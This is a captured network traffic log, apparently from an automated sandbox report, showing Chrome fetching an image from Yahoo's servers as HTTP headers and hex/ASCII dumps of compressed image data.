2024-01-10 23:27:09 UTC	1300	IN	Data Raw: c4 4a 29 d2 94 ed fd bb f9 cd 37 52 bf d1 ae 9d a4 f6 1e 97 bb 35 c2 ab b8 83 50 85 10 83 10 83 30 ce f1 d9 c3 cd 71 ed 89 ff 2d 2d 1b ec d1 fb 7f 76 bf a9 98 a8 89 8a 8a 8a 98 3b c6 66 fb 8e 45 ba c4 02 a4 3d e2 c4 1d fb 69 f4 47 72 a5 be f7 b9 6b b6 98 b2 a6 59 1a 28 20 65 28 83 11 42 d3 a9 2b f0 77 0c 15 98 86 25 b2 ec 7e 7e a3 02 e8 b4 50 2b 6c c3 8d fd c3 41 fd c8 fd 8a f3 80 8f 04 a8 55 c0 78 e4 75 bb 7b 11 cc de 5a e1 04 ab ef 75 7f 82 d3 7b 3d 80 e0 b1 63 a8 84 e0 07 6a 15 04 6a 15 cc 08 2e 24 21 3f d6 14 4a 47 1c 54 98 07 e6 d3 cd 40 90 27 c1 c0 0f 49 ed f5 83 a2 10 09 78 2a 47 f3 55 9a e1 3b 34 c0 86 e9 6f 0a 27 24 a0 1a 03 f8 5c 40 6f a9 5d ba d3 5e 2e 73 72 ee 55 92 4d fd 22 dc 58 bb fd 88 3e e8 03 bf f3 ef 56 15 7f de f5 4b ec 96 70 f7 d5 69 Data Ascii: J)7R5P0q--v;fE=iGrkY( e(B+w%~~P+lAUxu{Zu{=cjj.$!?JGT@'Ix*GU;4o'$\@o]^.srUM"X>VKpi
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 7e d4 d0 39 23 e7 8d 74 0f f4 e8 ad d1 dd 6d c4 dc 28 96 c0 f6 06 1b 66 b8 3a 79 66 29 df 16 1c 0d 59 4c c2 03 37 c8 24 9d ed 5b 21 59 34 71 67 a7 e0 15 b6 ba 99 b2 f2 f6 01 c3 53 db dd cd 72 ce ac f9 9e bd 99 c6 10 d6 52 88 29 80 1e 2d 3f 9d 24 c1 68 01 24 52 a0 22 01 ae ac 0a 53 5e 74 25 a1 f1 36 7a 72 da d4 86 67 72 f6 ab 76 64 ea ee 2c 4e db 81 3f 6a c7 ef 44 29 65 d8 dc 89 b9 6a 2c 82 ed 75 67 a5 07 81 fe 6a 83 ed 64 b8 19 0e 18 02 c4 14 2f 05 57 1e b7 b3 4d 06 19 76 57 a8 c1 7d 1b 9b 30 9b b9 b6 d1 35 aa 6b aa dd 0f b7 ea 5e db fd 88 5d fb e9 8d 0e 07 8f 04 86 03 21 44 ef d7 13 29 d6 6f ce 76 66 ce 6d 33 d4 61 ea 70 e2 4e cf af 8e 7f 15 34 28 a6 af 8a 9d 57 1c 7d f4 94 05 e8 30 5a a9 3b 41 a5 95 8e 59 b3 b8 d6 1a 7c 85 ed 62 8b ac e6 f4 69 34 72 8b Data Ascii: ~9#tm(f:yf)YL7$[!Y4qgSrR)-?$h$R"S^t%6zrgrvd,N?jD)ej,ugjd/WMvW}05k^]!D)ovfm3apN4(W}0Z;AY\|bi4r
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: b0 3e 29 ac f9 44 6a 35 58 f4 c6 11 91 a3 25 a0 8d 0f 08 c6 e5 3a de e4 38 86 14 7c 2f f8 5a 80 38 08 f1 6a 63 c7 56 b8 fe 0e 4a 8b 82 42 7b 42 54 e3 fa 5a cc 50 0b 6d 84 a6 ce 1f 9c c4 33 88 72 38 70 92 20 6c c9 84 56 a3 a9 45 61 c1 d4 0a 61 6e ae 43 2b 3c 2d 7d d7 56 39 0c 96 55 39 bd f2 45 07 72 15 29 23 57 ba 03 c6 ef 4c 09 d6 25 d5 18 9a a7 86 90 79 a8 c8 fd eb 36 19 78 7b 6d 5b 25 48 52 16 4d 5b 5e fc 12 67 f9 e6 dc 3c a5 06 98 4e 50 67 c2 dd 52 7c d6 21 e2 79 39 c2 22 11 f4 77 93 a2 33 45 61 ee 6b 15 f8 3b 23 25 b3 b8 1b 26 c4 76 c2 1b a7 d9 8e ba ce c1 d5 6a 50 d4 b0 95 8d d2 33 91 04 dd 7e 18 4f 4b e5 9c 0a c8 d6 da e2 44 dd 9c 7d e9 77 03 e6 e2 dd f2 03 73 99 c4 92 27 4b 1a 2e 18 ac c1 30 c8 02 ad da 21 ea 7f 68 c0 f0 31 a8 98 04 3f 04 bd 10 d1 Data Ascii: >)Dj5X%:8\|/Z8jcVJB{BTZPm3r8p lVEaanC+<-}V9U9Er)#WL%y6x{m[%HRM[^g<NPgR\|!y9"w3Eak;#%&vjP3~OKD}ws'K.0!h1?
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 36 bf 4b 12 06 a5 a6 77 f6 4a 4b 35 24 25 98 50 4b 77 84 c0 73 f7 b8 b2 0f 20 0a d0 86 af 5a 46 a9 9a ed 7d 3c 63 f8 87 91 ff 29 29 b4 d1 e5 fe 40 79 ef f8 d8 a7 72 76 d8 3c 2b 3f d0 47 f4 7e 2a 7e a5 75 5e f9 51 79 ae b4 e6 0c 6c a7 98 d4 90 e3 7e 04 84 e8 63 5b 10 d0 73 a4 a0 17 7f 85 22 23 c1 0b 31 6b 16 92 83 98 52 e1 2d c9 1e 5a 95 4a ea 27 ef 51 1b 94 b9 16 4a 9e 69 7a f7 01 30 ac c6 64 44 c9 56 3b db 2c d3 3a b1 b2 03 62 8f a0 96 c7 fa 75 0a 59 dc da cb 28 fa 9b ad eb aa e4 9c f0 58 1b 0c a2 9d a3 8e b5 46 c6 3d 19 96 f5 f4 87 3a 2b bc a0 e3 f4 6d 87 8c 73 1d 6b 61 cb 03 6e 4e ae 42 12 9d fc 28 6f a4 cd ba 0c 10 4b 06 6b ef b8 42 25 84 8b 77 d5 fa 25 e4 c6 29 0f 5f 3f 15 ce f9 ef 7f f7 d8 e8 2b b7 aa ed 57 06 7a 8a 4d 5a db a2 52 bd 30 bd 79 b9 94 Data Ascii: 6KwJK5$%PKws ZF}<c))@yrv<+?G~*~u^Qyl~c[s"#1kR-ZJ'QJiz0dDV;,:buY(XF=:+mskanNB(oKkB%w%)_?+WzMZR0y
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: b9 01 bb 0d ba 64 af 61 23 5a dc f0 54 ab 71 3f 9d f1 3b 12 f4 a6 2b a3 20 e7 fe 6e b3 98 d1 91 37 6f 1c 76 99 b8 3a 15 71 32 4f 23 67 bb c8 c4 68 77 42 b2 53 4e c9 75 c6 19 79 ce 39 2f 5f b7 6e 05 14 29 2a 0c c1 1b 5a 9d 72 05 7a 80 36 7d 16 68 d7 eb 26 ba cb df ce 5e 5e c4 0b 16 8f 7e 63 31 fa 1b 0d 74 d0 81 25 0e c3 29 a3 c9 64 b1 da ec 26 c7 19 87 d3 e5 f6 78 7d 97 fc 81 70 08 00 9b a1 d1 ff 74 a6 84 fc ff d5 ff 11 04 45 b9 a3 f1 ea 54 2e 53 68 8e 1f 61 7a a7 0e 02 b3 b4 80 6d c0 1e 80 6e 80 89 80 bd 78 3a da dd a0 37 54 99 06 75 54 78 86 a7 06 77 4f 47 d3 15 ff 5b 23 e8 ee 3d f4 40 8e 7c 12 0d 69 3f 91 6d 69 e2 60 d8 7d 1c 0f e8 1a 3a ef 51 a5 9c 80 a0 2e 30 ef d6 b5 4c ff 05 cc 11 b5 31 5c e3 c0 47 cf 61 b6 80 f3 ff 72 a3 8a a0 ef 30 44 c6 3e 58 3e Data Ascii: da#ZTq?;+ n7ov:q2O#ghwBSNuy9/_n)*Zrz6}h&^^~c1t%)d&x}ptET.Shazmnx:7TuTxwOG[#=@\|i?mi`}:Q.0L1\Gar0D>X>
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 0e 21 ee 77 04 94 dd 33 a2 82 36 74 7f 90 50 ac 8c 8d cf 10 8d 32 a6 a5 18 f7 26 21 3e 7c 7d 46 c1 ae 39 7a 46 2e ce 5b 7e 46 6b b4 3a bc 2b d3 26 fc 3c 82 62 d5 a3 59 be d5 b5 d8 52 73 ad 33 48 ea 25 97 6c 58 11 e4 44 f2 ea 0d 2b bb f2 11 d4 65 d7 7b 0d 2d c6 da c6 ba 78 7d e4 4e c3 af 8b 45 5b 2f 8c aa d2 18 4f aa d1 5a 7d 0d 6d 6a 73 5b 4e 85 46 b6 f3 e2 8d fd c7 60 74 87 de 44 9a 1b 08 e7 e7 fe 41 3f 7c c8 93 1e b4 26 ef 8d e4 01 8c 11 c2 dd 53 e6 b4 3a d1 c9 0e 77 ae ee 4e 75 be d3 9d a9 ab b3 1d ea 58 c7 6b ef 48 47 eb a8 13 a2 45 05 95 3a 0d fa ef a9 5e d6 b9 e6 89 93 28 53 a1 22 67 9c 35 e8 22 52 44 6a 37 c3 21 a7 34 93 36 03 a6 65 c0 f9 f0 8b 4c d4 04 44 3a 8c 0c 07 9b 9f 11 1a 20 63 2f 3e 19 af d0 50 ac 8c 55 51 d2 ea d6 9c a0 8d ac e7 17 be 31 Data Ascii: !w36tP2&!>\|}F9zF.[~Fk:+&<bYRs3H%lXD+e{-x}NE[/OZ}mjs[NF`tDA?\|&S:wNuXkHGE:^(S"g5"RDj7!46eLD: c/>PUQ1
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: a0 48 83 ef 98 dd 2c 2f 9f c3 33 da e3 aa dc 36 d9 8c 24 62 8d 19 90 94 61 b5 3a 80 f8 08 50 6e 01 b1 05 18 fc 09 60 d4 5f d0 35 12 b4 9d 01 f6 bc 1b 90 30 18 84 0c 87 2e a4 f3 63 33 c2 4c 9c 4b ee 11 c6 71 4b 30 2a d8 c1 45 26 16 44 41 74 70 e7 b9 24 d4 ca 22 69 6d 40 1a 57 ab ab 7f bd 39 ab 06 d5 89 8e 09 88 5c f9 f4 19 b4 a8 12 5e 4c 42 9a c7 b8 5a 93 a2 96 ef 85 95 f6 a5 a9 52 26 21 5b 6a 0b a5 6c 8a 66 5e 4a 57 50 8b 7d 5d e2 88 8b 4e b1 09 c4 bd 7b 16 29 41 59 52 05 0b bd 4b c3 91 12 8f 43 2a 32 89 ea 97 86 17 6f e5 05 6e d1 f9 82 47 f3 b7 94 e6 74 e5 53 e9 cb be 14 d4 f3 dc c4 9f 1f 80 be a9 35 e7 3a e9 b4 4c b7 2d ad b6 a9 69 5a c0 29 e5 2d ed b2 23 88 c7 79 d7 30 a4 a8 24 75 4d c5 10 be 6f f0 ca b7 f8 96 16 72 cb d6 85 46 35 95 d2 b6 1e 58 4d cf Data Ascii: H,/36$ba:Pn`_50.c3LKqK0E&DAtp$"im@W9\^LBZR&![jlf^JWP}]N{)AYRKC2onGtS5:L-iZ)-#y0$uMorF5XM
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: b9 a5 8e 09 43 2d 2d 57 4e 4a 18 f6 01 4c 5e c0 7c b9 22 78 32 8d b8 13 fc 42 75 af 36 dd b7 92 8e a4 9d bd 3a 3e db a0 10 0e 47 ad 0b 98 18 a9 52 21 77 e4 28 95 68 dd b6 ed 91 c9 36 86 8f 44 91 d0 8e 80 0a 99 c4 f2 52 83 40 6a 1a e5 b2 ad 8e de 85 8a f2 57 70 41 81 a3 c5 03 3f 3c 2e 29 db 5c aa 50 1e 30 97 ff da 9d a4 2d 7b c9 10 66 03 7a b1 15 04 ca 49 23 c8 30 af 53 19 30 ef 51 7a 74 f0 c8 c1 58 74 74 96 fb 88 ae 7e 24 70 f8 c0 7c 34 20 c0 ec c7 7e 5d 9a c1 5b 27 54 75 50 37 f0 ba 4d ea cf 9c e0 8d d9 ef b0 cc 33 aa dd 2e c2 76 f3 06 6d 27 2e c4 b5 d6 c9 08 89 2e 2b bb 66 60 ff a6 1b 99 49 77 18 1b 0e 27 f8 a1 8b 2f 5f 98 e9 f5 4e 78 39 25 ef 65 53 39 91 97 f2 7b c4 49 b5 5e a1 f2 19 c1 4e 70 ba 50 d8 45 87 47 2c 6b a4 4a 52 87 ad 36 6c 63 3b 9a 1a 5b Data Ascii: C--WNJL^\|"x2Bu6:>GR!w(h6DR@jWpA?<.)\P0-{fzI#0S0QztXtt~$p\|4 ~]['TuP7M3.vm'..+f`Iw'/_Nx9%eS9{I^NpPEG,kJR6lc;[
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: e2 7a c3 7c ac f1 36 2f 74 67 e5 ce 7b 1d 88 bf 4c 76 2e bd a2 b4 98 b2 21 a2 a1 4b 91 86 a7 10 5d ea ab 98 0a ac 5a 56 e2 ca 3c 30 c2 e8 9a 67 57 1f d6 a5 96 00 b0 de 88 e8 ff 68 ee 2c 91 b8 30 64 94 83 23 78 30 36 e3 dd 05 44 c1 50 e5 c3 94 cf b5 d8 38 18 78 88 8b 1f e3 61 2e 62 39 6c 7e 79 e9 34 93 8e 34 ff 98 05 7f 84 5b 06 4a a6 d9 79 8f 94 b6 70 85 e2 4c 18 7b 5f ed dd 19 3f bb 9d 8d 89 29 53 9e 4d bf cd ce 9d 19 9a 8c e4 42 06 02 86 b8 36 6a 81 4e 4d 1d 23 73 95 cf 51 7d e5 ab 8a 06 c8 8a 99 28 38 4a 6a 19 f1 54 e5 12 1d 78 96 d4 68 57 5e cc 21 8e d1 1b c9 39 ba f5 09 46 ec 60 a8 0d c3 8e a5 4c f9 d8 15 1d ed b6 23 0c c9 05 09 93 b6 e8 e3 42 d7 86 2a 32 8a 88 6c 27 c5 6b 7f ff 2e 19 ef 81 bc dd 55 5e 73 35 90 11 c3 78 42 71 f9 c5 59 26 35 e5 e5 a0 Data Ascii: z\|6/tg{Lv.!K]ZV<0gWh,0d#x06DP8xa.b9l~y44[JypL{_?)SMB6jNM#sQ}(8JjTxhW^!9F`L#B*2l'k.U^s5xBqY&5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49807	69.147.92.12	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:09 UTC	530	OUT	GET /uu/api/res/1.2/mIZK08Gbjy8FWfYiN9Nhww--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-01/8d2ccbb0-afa2-11ee-bf64-8de956aacb32.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:09 UTC	1300	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 345666138519020362890082093044672342225,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="8d2ccbb0-afa2-11ee-bf64-8de956aacb32.webp" Edge-Cache-Tag: 345666138519020362890082093044672342225,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Etag: "1ee0189da4f3c7d32187891a2e46bd29" Expiration: expiry-date="Tue, 09 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Wed, 10 Jan 2024 10:30:29 GMT Server: ATS Surrogate-Reporting: width=356,height=180,bytes=5992,owidth=2335,oheight=1315,obytes=376334,ef=(1,13,17,23,30) Timing-Allow-Origin: * Accept-Ranges: bytes Date: Wed, 10 Jan 2024 12:01:47 GMT X-Served-By: cache-iad-kiad7000110-IAD X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1704888107.415519,VS0,VE3 Age: 41122 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_by: cache-iad-kiad7000110-IAD cld_latency: 3 Referrer-Policy: no-referrer-when-downgrade Vary: Accept Content-Length: 18951 ATS-Carp-Promotion: 1
2024-01-10 23:27:09 UTC	197	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Connection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 03 02 02 02 02 02 03 02 02 02 03 03 03 03 04 06 04 04 04 04 04 08 06 06 05 06 09 08 0a 0a 09 08 09 09 0a 0c 0f 0c 0a 0b 0e 0b 09 09 0d 11 0d 0e 0f 10 10 11 10 0a 0c 12 13 12 10 13 0f 10 10 10 ff db 00 43 01 03 03 03 04 03 04 08 04 04 08 10 0b 09 0b 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ff c0 00 11 08 00 b4 01 64 03 01 11 00 02 11 01 03 11 01 ff c4 00 1d 00 00 00 07 01 01 01 00 00 00 00 00 00 00 00 00 00 02 03 04 05 06 07 08 09 01 00 ff c4 00 53 10 00 01 02 04 03 04 05 06 0a 06 07 06 05 05 00 00 01 02 03 00 04 05 11 06 12 21 07 31 41 51 08 13 22 61 71 14 23 32 81 91 b1 24 Data Ascii: JFIFCCdS!1AQ"aq#2$
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: a9 02 fc 95 18 d9 7d 4c fa 6f 46 6f e1 c5 fe 10 f7 d1 81 eb 6d 0b 0c 31 6f e9 0b 17 f0 6d 51 63 a5 79 f1 2b bb 76 b1 a5 55 7e c7 44 63 7f 1e 0f 98 d7 2c fa 1c 11 2c 19 8f a4 fb ad 37 8c a9 fd 62 ad f0 43 6f e2 8c 86 bd e7 1e a7 d8 35 e0 48 a6 dc 79 b5 b6 4a 15 7b 03 19 ec b3 d0 fa 49 06 c8 e6 67 11 b4 5c 3a 87 00 1f 0b 4e bc e2 65 9a 7f 31 02 9b b5 0f ab 4b ab ec 6e 04 9b 08 f4 28 f0 8f 01 7c 83 85 1a f8 2a 0d a0 02 8c 6b 30 ea 4f a7 2b 2c 3f c4 ec 13 4c f3 a6 48 b9 6d d9 d3 fe c8 76 d0 15 6c 25 52 20 7f 47 52 7d aa 4f ab 87 28 b9 65 62 58 33 de 08 74 31 53 ae 4d 36 cb 29 5a 9e 69 2b 3d 5a 75 b2 4d b7 0e f3 11 64 b0 c7 64 97 2d f7 9c 39 8b 87 5e 46 c2 13 07 64 d8 2d f1 8c f1 66 18 98 54 0e 40 95 0a c6 31 8e ab f1 e2 26 5b f2 34 5b 4a f8 93 11 2e 1f 88 3d Data Ascii: }LoFom1omQcy+vU~Dc,,7bCo5HyJ{Ig\:Ne1Kn(\|*k0O+,?LHmvl%R GR}O(ebX3t1SM6)Zi+=ZuMdd-9^Fd-fT@1&[4[J.=
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: e4 23 06 b0 0b 28 4d b8 08 22 18 cf 92 4d ed 7d d0 f1 62 18 38 1b ee 86 37 81 56 e8 6b aa 1c ef 2b 85 92 7d d1 12 e3 e9 64 8b 7d a6 bd d1 85 f1 8f 9c ae 4d 5b 84 db c3 fc 51 94 92 dd 9f 47 68 d2 7f 2d 10 5d 1f 9a 7e 57 6e f8 7d a2 b2 1b 79 f5 12 07 73 6b 89 9a 4f 9f 11 9d b5 ff 00 49 55 fe 0e 86 81 6e 31 bc 47 cc 72 5b b0 c2 a4 f3 85 15 19 57 a5 3b 02 63 16 53 d4 5e 5a 32 c8 81 d9 36 bd d4 7f 94 64 b5 e7 e3 1e bb d8 14 fe 04 fd ca 59 a6 5c 4d fa 83 64 73 27 53 19 f3 d1 ba 49 ae c9 24 d8 67 68 38 76 6b aa ed fe b0 6c 24 ee b6 f8 95 66 df cc 40 ce f6 ad 2f f8 ba cb f0 6d c0 9d 37 c7 a2 47 84 7c fe d6 e0 d3 be 14 56 53 7b 42 58 18 ea 65 b5 26 c8 5c 9c be 67 0a 80 08 b2 9c df c7 5e e8 7e 9b e7 c8 99 72 bf 67 4f fb 21 7b 48 d7 08 4f 9c cb 4d a5 13 e8 aa df 3d Data Ascii: #(M"M}b87Vk+}d}M[QGh-]~Wn}yskOIUn1Gr[W;cS^Z26dY\Mds'SI$gh8vkl$f@/m7G\|VS{BXe&\g^~rgO!{HOM=
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 72 3a 85 ae 53 67 50 a9 66 d3 49 40 e0 53 ee b4 57 db 79 b8 2b aa 6e d8 be a7 f2 f5 83 f3 50 22 d2 b3 f1 08 60 d9 d5 4d fd 98 72 e4 e0 48 55 9a 70 77 98 e3 83 6f 76 90 9e 60 47 1c 00 69 32 a5 7d 14 de 39 9c 1e db 81 4d 83 1c 22 19 ea eb ca b7 15 c4 20 fb a2 35 c7 d2 c3 51 fa 97 b9 88 f1 9b 79 b1 3d 5c 9e 33 ae 9f f1 5e 31 d2 6f 27 d1 bd 9f 5f b1 87 b0 a3 62 cc ba 36 d1 86 14 53 76 57 32 ac fe a4 2a d1 2b 4f de bc 08 fd ad 6f fe 12 a9 bf 80 b5 b5 8f 42 8f 07 cd cf 96 08 1b 70 84 60 cc bf d2 45 ec 9b 42 91 d3 7c 82 3f 12 a3 1d ae f9 c7 af f6 0e 2b e4 a6 56 53 28 2e 37 98 6e 8a dc 6c 6d 7b a2 bd 96 dd 38 ef 0f b9 c5 75 06 bd f7 82 5a 7d c4 0a ce d1 c5 bd 3a a3 fc 1b 89 24 a4 0d 63 7f 17 b1 e0 12 e5 86 85 f7 41 50 9e 85 35 b4 62 7f db 79 a5 01 be 4e 5f f1 39 Data Ascii: r:SgPfI@SWy+nP"`MrHUpwov`Gi2}9M" 5Qy=\3^1o'_b6SvW2*+OoBp`EB\|?+VS(.7nlm{8uZ}:$cAP5byN_9
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 3a bd 1c 91 fc 5d b6 74 3d 20 b9 19 07 92 a7 5e d4 06 c5 af e3 ed 86 3a 19 13 e6 b0 6a 4e 82 05 f9 fa a0 7e 61 17 5c bd 0e 69 97 4d f7 66 98 64 83 ed 16 8c de a8 f7 d8 90 db 54 70 cd d9 49 bf 96 8f 11 ee 80 5a b4 eb 22 ba b7 e0 70 ab 7f c4 dd fb 22 2d 2b 2c 4d b2 21 f3 4a cc e3 49 b6 f4 c0 d3 38 35 94 59 a7 3e d1 87 a3 90 78 56 54 36 3b 80 82 0a 0a fe 70 8e 24 42 9c 07 2e 55 a5 63 84 20 88 66 ac 2f cf 2e fc 5b 3e e8 85 72 f6 26 da c7 35 23 ee 8c 10 f3 ca 5e 22 a9 0d c3 ca dd bf f1 98 c8 be 4f a3 ec 16 2d 63 ec 4d 76 34 82 76 cd 86 ef ff 00 b8 57 f9 4b 89 56 3b 57 81 4d da a7 fe 1a aa 37 b8 37 11 e8 71 e0 f9 d9 f2 06 13 19 06 64 ce 96 92 dd 66 37 90 70 2a dd 5c 8a 4d ad bf b4 63 1d ae f9 c8 f6 6f d3 bd ec e7 ee 53 54 69 d5 34 e0 69 4a b0 f1 8a 7c b3 d0 2b Data Ascii: :]t= ^:jN~a\iMfdTpIZ"p"-+,M!JI85Y>xVT6;p$B.Uc f/.[>r&5#^"O-cMv4vWKV;WM77qdf7p*\McoSTi4iJ\|+
2024-01-10 23:27:09 UTC	53	IN	Data Raw: 76 24 c2 de bd b8 92 91 60 23 be 36 10 e8 d0 72 64 cb 01 ed 13 06 57 67 d4 ec 85 71 09 33 2a 2b 6d 2f a1 4c 85 df 76 52 ab 66 bf 0b 6a 60 36 f7 34 5b c0 6b 8b Data Ascii: v$`#6rdWgq3*+m/LvRfj`64[k
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 6a a9 16 59 de 09 89 aa 4a 5b a2 1a 8e f8 19 f1 ae b8 72 61 3c ca 7f 10 88 7a ab fd ab 0f 6f e6 10 19 54 01 32 af dd 46 7e 3c 13 c7 09 16 c2 a4 8a 4e ed 60 b1 c7 a0 06 b0 f7 39 f7 d3 6b 05 51 65 f6 b5 fa e7 f5 4c b3 a6 af 2e cc c2 5d c8 14 03 c8 ba 1d 4f dc 83 e2 b3 1a 4b 4e af 83 96 16 9f 4b e0 a7 a8 54 35 cd f5 12 14 c9 75 29 d7 54 10 86 db 4d ca 89 dc 00 1a 92 4d 80 03 5b 98 9e a3 d5 b1 23 68 ac 9b b3 a3 f7 46 49 0c 24 dc a6 30 c6 d2 c8 99 ab a5 29 54 a4 9b ad 82 dc 97 10 b2 3e 73 b7 24 eb 70 9e 1a eb 16 76 d6 bb 65 94 17 97 8d bc 22 bf fd 21 1b 59 9a c3 78 66 97 b2 ea 1b e3 af c4 1f 0b a8 59 76 5a 65 10 40 42 48 b1 d1 4b cc 77 fe cf 76 b1 7f 6b 4d 41 15 8a 4e 5c 99 47 65 5b 50 c5 5b 3a 9d 6e bb 87 eb 8e 52 dd 6c 8e b5 e0 ae c9 40 de 16 0e 8a 1d c4 44 Data Ascii: jYJ[ra<zoT2F~<N`9kQeL.]OKNKT5u)TMM[#hFI$0)T>s$pve"!YxfYvZe@BHKwvkMAN\Ge[P[:nRl@D
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 14 0c 73 56 93 4a 38 31 34 b4 03 c8 11 7d d7 f7 fa 8c 4b 9b 3b 77 ff 00 43 be 61 a3 68 f4 2d e9 b3 3f b5 99 d1 b3 6d a6 75 29 af d8 9a 64 f2 00 40 9d 09 05 4a 69 60 76 43 81 20 94 91 6c c0 10 75 00 9c 86 a7 a6 7c bf 8b 48 99 6f 71 fc 9b 3d b5 e6 78 69 c2 29 49 39 ce e0 96 48 20 ee b9 85 6c 78 cb 5d f8 e7 3f 72 af 74 40 b8 09 4d e1 e4 c4 1b 5a a7 fe af da 7c db 79 6d e5 6d b5 31 e3 74 c6 6a e5 2c 9f 42 f6 56 e3 e6 74 b8 0a 76 13 2a ec 8e d9 30 e0 50 f3 6b 9c bd f9 76 15 06 b2 f3 e0 3b b5 9f e9 2b 2f c1 d0 b1 ba 37 eb 83 e6 c7 c9 f4 28 e3 29 74 a4 55 f6 83 4f 6e fe 95 3c 7e 35 46 3f 5d f3 91 ec 1f a7 df 69 3f 72 80 a9 b3 30 c3 e5 45 37 11 4e 7a 32 6b 04 b7 63 0d cc a7 68 d8 6e 64 b3 76 bf 58 a0 66 bf 8c 12 d3 ee 20 50 f6 ab 7d 2a a2 fc 1d 04 4e a0 47 a2 47 Data Ascii: sVJ814}K;wCah-?mu)d@Ji`vC lu\|Hoq=xi)I9H lx]?rt@MZ\|ymm1tj,BVtv0Pkv;+/7()tUOn<~5F?]i?r0E7Nz2kchndvXf P}NGG
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: c6 dc 2f 0a 25 45 b5 44 e6 c0 55 40 05 ac db 29 f6 3a 93 e1 16 97 0b 08 8f 12 8c d9 9b 26 f5 7e da 95 fe f0 3e 95 bf ab 47 20 20 36 fc 8b 2d 89 d9 4b b7 f8 af ba 0c f9 06 cd 6f 19 52 d4 fa 13 29 1c 06 e6 3a 5c 1c 33 56 d4 7a bd f1 22 dc 40 ca 22 8f 93 9f 54 46 b8 f3 05 48 7e a4 7c ae df 51 51 d4 39 3a 41 f3 22 ee 2c 5f 48 75 71 b2 22 98 ac 59 a9 63 6d ce de 2a 6b 93 28 91 19 84 67 65 00 70 72 f0 08 9d 24 38 3c a0 99 76 8d bd 04 5a 0d 01 a2 80 33 34 c2 89 b1 ea 53 f9 c1 e0 23 17 24 e5 94 69 40 7c d3 04 40 d9 ca 0f d2 01 5b fd 6f b7 ea 93 33 23 ac 66 8d 20 cc b2 6e 74 16 b9 50 23 bd 57 57 f7 bb e2 c6 d6 1b 64 64 b6 1a 70 55 1b 1e 62 2d 94 d2 5c d9 ad 31 73 eb 65 d5 87 59 7d 86 d4 96 99 2e 28 83 62 92 73 14 d9 59 af 7b 93 a8 00 44 86 d2 26 43 3f 07 28 b6 76 Data Ascii: /%EDU@):&~>G 6-KoR):\3Vz"@"TFH~\|QQ9:A",_Huq"Ycm*k(gepr$8<vZ34S#$i@\|@[o3#f ntP#WWddpUb-\1seY}.(bsY{D&C?(v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49808	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
